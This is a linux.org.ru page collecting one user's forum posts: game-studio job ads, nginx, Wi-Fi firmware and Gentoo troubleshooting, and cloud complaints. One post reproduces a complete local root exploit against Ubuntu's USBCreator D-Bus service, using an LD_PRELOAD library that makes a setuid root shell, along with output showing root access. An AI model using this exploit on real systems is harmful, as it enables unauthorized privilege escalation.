LINUX.ORG.RU

Сообщения tazhate

 

Разработчик С++

Мы расширяемся и ищем в команду еще одного программиста.

Требуется зрелый разработчик, с хорошим опытом. Рассматриваем как удаленку, так и офис.

Основной проект нашей студии – sandbox MMORPG игра “Life is feudal”.

Задачи:

Участие в разработке нашего основного проекта в качестве программиста игровой логики

Требования:

- Уверенное владение С++ (от 3 лет опыта)
- Понимание основ и принципов ООП, знание STL, хороший математический базис
- Приветствуется знание основ реляционных СУБД, знание синтаксиса MySQL, а также опыт разработки под Linux
- Желательно наличие опыта командной разработки или проектной работы, общения с GIT

Мы предлагаем:

- Интересную работу в динамично развивающейся, дружной команде
- Доброжелательную атмосферу в коллективе, гибкий график работы
- Перспективы профессионального роста
- ДМС, корпоративный фитнес, оплачиваемые обеды, фрукты/снэки в офисе
- Месторасположение офиса – Москва, ст. м. Багратионовская, обособленное здание студии, расположенное в парке «Фили».
- Возможна удаленная работа
- Оформление в соответствии с ТК РФ, белая зарплата. Компенсация зависит от вашего опыта, ее размер готовы обсуждать. От 120 до 200.

Откликаться сюда - https://hh.ru/vacancy/24968789 или на почту hr@lifeisfeudal.com

 , ,

tazhate
()

Системный администратор - удаленно

НЕ АКТУАЛЬНО. В студию разработки компьютерных игр «BITBOX» требуется Cистемный администратор.
Задачи:


  • Дежурство, пока основной офис спит
  • Администрирование высоконагруженных серверов нашего проекта (более 100 железок в четырех точках мира);
  • Администрирование всех внутренних сервисов компании.
  • Борьба за светлое технологическое будущее.


Мы ожидаем что у вас есть:

  • Хорошее знание GNU\Linux.
  • Опыт работы с виртуализацией (у нас всё на libvirt/kvm).
  • Знание Zabbix.
  • Понимание стека TCP/IP.
  • У нас встречаются: zimbra, postfix, nginx/php-fpm, svn, apache2, gitlab и тому подобное из «классического» стека.


Будет плюсом:

  • Любовь к автоматизации.
  • Владение ansible/gitlab-ci.
  • Понимание Windows в кач-ве сервера (их скоро будет немного, но они есть).


Зарплатные ожидания: от 50. Рассматриваем гибко и в зависимости от ваших знаний можем дать больше.

Резюме присылать на hr@lifeisfeudal.com

 , ,

tazhate
()

помогите найти фотку в галерее

Помнится, кто-то из форумчан выкладывал ребенка совсем мелкого за своим ноутбуком. Было в галерее. Помогите найти.

 

tazhate
()

Как работают соц опросы?

Насколько я помню, делают выборку и в % соотношении он будет верен. Но никак не могу нагуглить закон, по которому они так решили.

Кто-нибудь что-нибудь об этом знает?

 

tazhate
()

nginx и if по uastring - не работает

НЕРАБОТАЕТД. А почему - понять не могу, епрст. Тупо возвращает ответ такой, как если бы if не сработал.

nginx.conf

        location / {
                passenger_enabled on;
                root /home/deploy/current/public;
                include prerender.conf;
        }

prerender.conf

set $needPrerender "";

if ($request_uri ~ '_escaped_fragment_') {
  set $needPrerender "Y";
}

if ($http_user_agent ~* (googlebot|google.com|bingbot|bing.com|yandexbot|yandex.com|yahooseeker|yahoo.com|slurp|feedfetcher|blekkobot|crawler) ) {
  set $needPrerender "Y";
}

if ($http_accept ~* 'html') {
  set $needPrerender "${needPrerender}ES";
}

if ($needPrerender = "YES") {
  rewrite ^ /?url=$scheme://$http_host$request_uri break;
  proxy_pass http://localhost:3000;
}



Тестирую через
curl -A "Googlebot/2.1 (+http://www.google.com/bot.html)" http://мояссылко

 

tazhate
()

Ssl/Tls + mitm

Допустим, есть сайт, который работает по https и клиент, который к нему подключается.
Как защититься от mitm, если пользователю предустановлен самоподписанный серт злоумышленника? Как в том же mitmproxy делается, например.

 , ,

tazhate
()

iwl-1000 и 4+ ядро

Есть сабж - обычная такая вайфай сетевушко от интеля, фирмваря есть, все прекрасно. Но вот на 4+ ядре тупо не работает.

[    0.439661] iwlwifi 0000:03:00.0: Direct firmware load for iwlwifi-1000-5.ucode failed with error -2
[    0.439673] iwlwifi 0000:03:00.0: request for firmware file 'iwlwifi-1000-5.ucode' failed.
[    0.439688] iwlwifi 0000:03:00.0: Direct firmware load for iwlwifi-1000-4.ucode failed with error -2
[    0.439697] iwlwifi 0000:03:00.0: request for firmware file 'iwlwifi-1000-4.ucode' failed.
[    0.439711] iwlwifi 0000:03:00.0: Direct firmware load for iwlwifi-1000-3.ucode failed with error -2
[    0.439719] iwlwifi 0000:03:00.0: request for firmware file 'iwlwifi-1000-3.ucode' failed.
[    0.439734] iwlwifi 0000:03:00.0: Direct firmware load for iwlwifi-1000-2.ucode failed with error -2
[    0.439742] iwlwifi 0000:03:00.0: request for firmware file 'iwlwifi-1000-2.ucode' failed.
[    0.439756] iwlwifi 0000:03:00.0: Direct firmware load for iwlwifi-1000-1.ucode failed with error -2
[    0.439764] iwlwifi 0000:03:00.0: request for firmware file 'iwlwifi-1000-1.ucode' failed.
[    0.439771] iwlwifi 0000:03:00.0: no suitable firmware found!


think ~ # ls /lib/firmware/ | grep 1000
iwlwifi-1000-3.ucode
iwlwifi-1000-5.ucode



think ~ # uname -a
Linux think 4.4.1-gentoo


При этом на стареньком ведре все весело и круто, типа после загрузки жду 30+ секунд и каким-то чудом оно все берет и работает.

[    1.263246] iwlwifi 0000:03:00.0: Direct firmware load failed with error -2
[    1.264316] iwlwifi 0000:03:00.0: Falling back to user helper
[   61.434761] iwlwifi 0000:03:00.0: request for firmware file 'iwlwifi-1000-5.ucode' failed.
[   61.436099] iwlwifi 0000:03:00.0: Direct firmware load failed with error -2
[   61.436108] iwlwifi 0000:03:00.0: Falling back to user helper
[  121.604924] iwlwifi 0000:03:00.0: request for firmware file 'iwlwifi-1000-4.ucode' failed.
[  121.607443] iwlwifi 0000:03:00.0: Firmware has old API version, expected v5, got v3.
[  121.607453] iwlwifi 0000:03:00.0: New firmware can be obtained from http://www.intellinuxwireless.org/.
[  121.607653] iwlwifi 0000:03:00.0: loaded firmware version 128.50.3.1 build 13488 op_mode iwldvm
[  121.607667] iwlwifi 0000:03:00.0: CONFIG_IWLWIFI_DEBUG disabled
[  121.607669] iwlwifi 0000:03:00.0: CONFIG_IWLWIFI_DEBUGFS disabled
[  121.607671] iwlwifi 0000:03:00.0: CONFIG_IWLWIFI_DEVICE_TRACING disabled
[  121.607673] iwlwifi 0000:03:00.0: Detected Intel(R) Centrino(R) Wireless-N 1000 BGN, REV=0x6C

think ~ # uname -a
Linux think 3.15.6-gentoo


Есть какие-либо мысли?

 iwl, iwl-1000,

tazhate
()

феерическое решето в ubuntu dbus

http://www.openwall.com/lists/oss-security/2015/04/22/12

$ cat > test.c
void __attribute__((constructor)) init (void)
{
chown("/tmp/test", 0, 0);
chmod("/tmp/test", 04755);
}
^D
$ gcc -shared -fPIC -o /tmp/test.so test.c
$ cp /bin/sh /tmp/test
$ dbus-send --print-reply --system --dest=com.ubuntu.USBCreator
/com/ubuntu/USBCreator com.ubuntu.USBCreator.KVMTest string:/dev/sda
dict:string:string:DISPLAY,"foo",XAUTHORITY,"foo",LD_PRELOAD,"/tmp/test.so"
method return sender=:1.4364 -> dest=:1.7427 reply_serial=2
$ ls -l /tmp/test
-rwsr-xr-x 1 root root 121272 Apr 22 16:43 /tmp/test
$ /tmp/test
# id
euid=0(root) groups=0(root)

 local root exploit, ,

tazhate
()

Yandex.Root 2015

UPD: Мы финишировали третьими в первом туре. https://root.yandex.com/monitor/1

Го, яндекс создал.
Кто будет?

Команда - Linuxorgru. По традиции, если что-то выиграем (лол), то уйдет в fsf.

Как это было раньше. тыц, тыц, тыц.

cast true_admin, realloc, AndreyKl, AITap, router, DELIRIUM, scott_tiger, Ttt, imul, tailgunner, exception13, Xenius, xtraeft.

Блабла:
Yandex.Root — олимпиада Яндекса для unix‑инженеров, системных администраторов и всех любителей Open Source и Linux. Участники олимпиады соревнуются в умении быстро и правильно решать задачи, с которыми ежедневно сталкиваются системные администраторы. Игроки, наиболее быстро справившиеся со всеми заданиями, получают денежный приз.

Первая игра стартует - 09.04.2015, время начала - 09:00 am (UTC/GMT), язык - английский

ПРАВИЛА ИГРЫ Олимпиада проходит в два этапа: отборочный тур и финал.

На отборочном туре Олимпиады у каждой команды будет две попытки. Продолжительность каждой игры составляет 12 часов. В зачет идет лучший результат, показанный командой. Для участия в отборочном туре капитану необходимо зарегистрировать свою команду, придумав ей имя и пригласив в ее состав участников. В состав одной команды может входить от одного до шестнадцати участников включительно. Задание представляет собой образ виртуальной машины, в котором нужно решить несколько задач: они могут быть как завязанными на определенную последовательность решения, так и независимыми.

В финале примут участие десять команд–победителей отборочного тура. Продолжительность игры также составит 12 часов. Победителями финала станут три команды, сумевшие за минимальное время выполнить максимальное количество заданий и занявшие в таблице рейтинга финала 1, 2 и 3 места соответственно.

 , yandex root,

tazhate
()

обычный видеоредактор под линукс

Я уже устал искать более менее нормальный видеоредактор.
openshot - нефункциональная хрень, нету обычных fade in/fade out, нельзя крутить громкость у аудиодорожек и их не несколько.
pitivi - тож самое
cinerella (или как её там) - вырвиглазное говно, которое сразу выкинуть можно
lightworks - падает при попытке импорта видео.

Может подскажет кто что нормальное? Сил моих нет уже. Требуется обычный нелинейный видеоредактор, крайне желательно нативный. Лучше открытый конечно, но устроит и нет. Ориентир из мира оффтопиков - GoPro Studio.

 , , ,

tazhate
()

cjdns - юзает кто? ищу пира

хочу пощупать что за штука.

 

tazhate
()

Шел 2015ый год

А лор так и не научился авторесайзу аватарки под нужный размер.

 ,

tazhate
()

деплой через ж

Как вы решили бы проблему деплоя на сервер, если сервер с репозиторием находится за фраером, а деплоить надо на удаленный сервер?

git repo -> firewall -> internet -> remote server

То есть связности между remote server -> git repo для тупого git pull например нету и не будет.

 ,

tazhate
()

Мега крутая онлайн игрулька музыки :)

http://labs.dinahmoe.com/plink/

Нажимаете - издается звук.
Возите мышкой - меняете ноты.
Выбираете цвет - меняется инструмент.

К вашей сессии периодически добавляется/удаляется народ и играет вместе с вами.

Перемещено riki из linux-org-ru

 , html5 examples

tazhate
()

Очень странный глюк в gentoo с портажем

▶ grc ping ya.ru
error: can't create or remove files in install directory

The following error occurred while trying to add or remove files in the
installation directory:

    [Errno 13] Permission denied: '/usr/lib64/python2.7/site-packages/test-easy-install-7329.write-test'

The installation directory you specified (via --install-dir, --prefix, or
the distutils default setting) was:

    /usr/lib64/python2.7/site-packages/

Perhaps your account does not have write access to this directory?  If the
installation directory is a system-owned directory, you may need to sign in
as the administrator or "root" account.  If you do not have administrative
access to this machine, you may wish to choose a different installation
directory, preferably one that is listed in your PYTHONPATH environment
variable.

For information on other options, you may wish to consult the
documentation at:

  https://pythonhosted.org/setuptools/easy_install.html

Please make the appropriate changes for your system and try again.

Реинсталл никаких успехов не дает, сам grc (как и куча других утилит) является симлинком

▶ ls -lah /usr/bin/grc
lrwxrwxrwx 1 root root 31 май 30 17:34 /usr/bin/grc -> ../lib/python-exec/python-exec2
Как это починить? о_0

Разобрался:

sudo pip install ansible

потянуло за собой обновление python-exec не из реп и скрипт /usr/lib/python-exec/python-exec2 затерся.

Решилось переустановкой dev-lang/python-exec-2.0.1-r1

 ,

tazhate
()

Перенос mysql без даунтайма

А как ВЫ переносите живой и работающий mysql сервер без даунтайма? :)

//ну или создаете новую реплику :)

 

tazhate
()

Windows Azure

Чем больше сталкиваюсь с МС, тем больше не понимаю, как можно делать такие фееричные глюкодромы с отвратным подходом.
Выпала мне тут судьба работать значица с их облаком.
1) Новая вм создается минут 5 минимум.
2) Нету никакой возможности автоматом сувать свой ссх ключ при создании новой вм, кроме как загрузить свой vhd образ (с ними я пока не рискнул связаться).
3) Icmp порезан в обе стороны. Нельзя пингануть как саму вм, так и что угодно из неё.
4) При создании по умолчанию DROP ALL в фраере, кроме как на ссх. Фраер же сам в вебморде, и на каждый порт надо мышевозить в браузере. Про какие-либо advanced правила ваще молчу.
5) Для виртуалки обязательно указать dns имя вида *.cloudapp.net, само собой, незанятое. То есть мало того, что меня заставляют юзать их недодомен, так еще и я могу таким образом выяснить имена кучи серверов по соседству.
6) Самый сок: тыкаем создать виртуалку, раз так 5, создаем кучу вм. Они начинают создаваться. Нажимаем ф5 спустя минуту - все, свежесоздающихся виртуалок больше нет, надо заново.
Как такое может произойти? Ну например внизу появляется плашка «доступна новая версия веб морды, обновить страницу?» и кнопка ок.

Про цены молчу, тоже ужас.

 

tazhate
()

Ubuntu представили The Orange Box

Проще говоря, мобильное облако/переносной кластер.
https://insights.ubuntu.com/wp-content/uploads/DS_The_Orange_Box.pdf

tazhate
()

когда уже

лор будет местом свободным от танцпола?

 

tazhate
()

MikroTik RB2011UAS-2HnD-IN - не прошло и 10 лет!

http://market.yandex.ru/model.xml?modelid=8486674&hid=723087

Они сделали самую няшную модельку для дома и маленьких офисов с wifi n.

Сколько теперь ждать до её появления с ac, интересно.

 ,

tazhate
()

RSS подписка на новые темы